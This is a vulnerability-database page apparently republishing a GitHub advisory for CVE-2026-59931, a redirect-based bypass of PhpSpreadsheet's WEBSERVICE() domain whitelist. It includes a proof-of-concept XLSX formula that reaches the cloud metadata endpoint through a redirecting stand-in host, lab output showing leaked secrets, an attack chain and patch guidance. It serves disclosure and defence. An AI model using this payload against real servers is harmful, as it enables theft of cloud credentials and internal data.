Skip to main content

PhpSpreadsheet CVE-2026-59931

HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-07-23 https://github.com/PHPOffice/PhpSpreadsheet GHSA-6hq5-7373-42rg
7.7
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.7 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
vuln.today AI
6.3 MEDIUM

Needs a redirect-capable whitelisted domain outside attacker control (AC:H) and authenticated file upload (PR:L); read-only SSRF pivoting to internal systems gives S:C and C:H, no I/A impact.

3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
4.0 AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 23, 2026 - 15:16 vuln.today
Analysis Generated
Jul 23, 2026 - 15:16 vuln.today
CVE Published
Jul 23, 2026 - 14:55 github-advisory
HIGH 7.7

DescriptionGitHub Advisory

Summary

The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.

Details

In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.

The stream context does not disable redirect following:

php
$ctxArray = [
    'http' => [
        'user_agent' => 'Mozilla/5.0 ...',
        // follow_location defaults to true
        // max_redirects defaults to 20
    ],
];

PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.

Vulnerable code (Calculation/Web/Service.php):

php
// Whitelist check - runs ONCE on the initial URL
$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
$host = $parsed['host'] ?? '';
if (!in_array($host, $domainWhiteList, true)) {
    return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
}

// HTTP request - follows redirects to ANY destination
$ctx = stream_context_create($ctxArray);
$output = @file_get_contents($url, false, $ctx);

Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.

PoC

Prerequisites:

  • Application uses PhpSpreadsheet >= 5.4.0
  • Application calls $spreadsheet->setDomainWhiteList([...]) with at least one domain
  • Application calls $cell->getCalculatedValue() on uploaded XLSX files

Attack steps:

  1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).
  2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:
xml
<c r="A1">
  <f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>
  1. Upload the XLSX to the target application. The calculation engine:
  • Validates whitelisted-domain.com against the whitelist - passes
  • Calls file_get_contents("http://whitelisted-domain.com/redirect?url=...")
  • file_get_contents follows the 302 redirect to http://169.254.169.254/latest/meta-data/ - no re-validation
  • Returns the cloud metadata response as the cell's calculated value

Lab reproduction:

bash
# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
# App whitelists "trusted-api.example.com"
# Redirect server on trusted-api.example.com:7071 returns 302 → internal target
# Test 1: Direct internal access - BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)
# Test 2: Via redirect from whitelisted domain - BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}

Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).

Impact

An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:

  • Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets
  • Exfiltrate cloud metadata (AWS/GCP/Azure instance credentials) via http://169.254.169.254/
  • Access internal services not exposed to the internet
  • Port-scan internal networks via any whitelisted hostname (port is not validated)

This is a full-read SSRF - the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.

Attack scenarios:

  • Whitelisted domain has an open redirect vulnerability
  • Attacker controls the whitelisted domain (e.g., a free-tier API service)
  • DNS rebinding after the whitelist check

Suggested Fix

Disable redirect following in the stream context:

php
$ctxArray = [
    'http' => [
        'user_agent' => '...',
        'follow_location' => false,
        'max_redirects' => 0,
    ],
];

Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.

Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.

Related

This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.

Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.

---

AnalysisAI

Server-side request forgery in PHPOffice PhpSpreadsheet (>= 4.0.0 through 5.8.0, plus older branches back to 2.0.0) lets an attacker bypass the WEBSERVICE() domain whitelist introduced in 5.4.0 by chaining through an HTTP 302/301 redirect. Because the whitelist only validates the initial URL host while file_get_contents() silently follows redirects without re-validation, an attacker who can upload a crafted XLSX to an app that calls setDomainWhiteList() and getCalculatedValue() can pivot to internal-only targets and read the full HTTP response (up to 32,767 bytes) as a cell value. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain upload access to target app
Delivery
Craft XLSX with WEBSERVICE formula pointing at whitelisted redirect URL
Exploit
Whitelist validates first host and passes
Execution
file_get_contents follows 302 to internal/metadata target
Persist
Read HTTP response body from cell value
Impact
Exfiltrate cloud credentials or internal data

Vulnerability AssessmentAI

Exploitation Requires all of: the target uses PhpSpreadsheet, calls Spreadsheet::setDomainWhiteList([...]) with at least one domain, and invokes getCalculatedValue() (formula evaluation) on attacker-supplied XLSX files; and the attacker must have or obtain a URL on a whitelisted domain that issues an HTTP 301/302 redirect - an open-redirect endpoint on that domain, a whitelisted domain the attacker controls, or DNS rebinding after the check. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment Signals are moderately but not uniformly severe. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker uploads a crafted XLSX whose A1 cell contains =WEBSERVICE("http://trusted-api.example.com/redirect?url=http://169.254.169.254/latest/meta-data/"), where trusted-api.example.com is on the app's whitelist and offers an open redirect. When the app calls getCalculatedValue(), the whitelist passes on the first host, file_get_contents() follows the 302 to the cloud metadata endpoint, and the credential/metadata response is returned as the cell value for the attacker to read. …
Remediation Vendor-released patch: upgrade phpoffice/phpspreadsheet to 5.8.1 (or 3.10.7, 2.4.7, 2.1.18 for the corresponding older branches) via composer. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, inventory all applications and services using PHPOffice PhpSpreadsheet, prioritize systems accepting user file uploads, and temporarily restrict spreadsheet file uploads to authorized users only. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in PHP

View all
CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-46506 CRITICAL POC
10.0 May 13

NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro

CVE-2024-8353 CRITICAL POC
9.8 Sep 28

The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all

Share

CVE-2026-59931 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy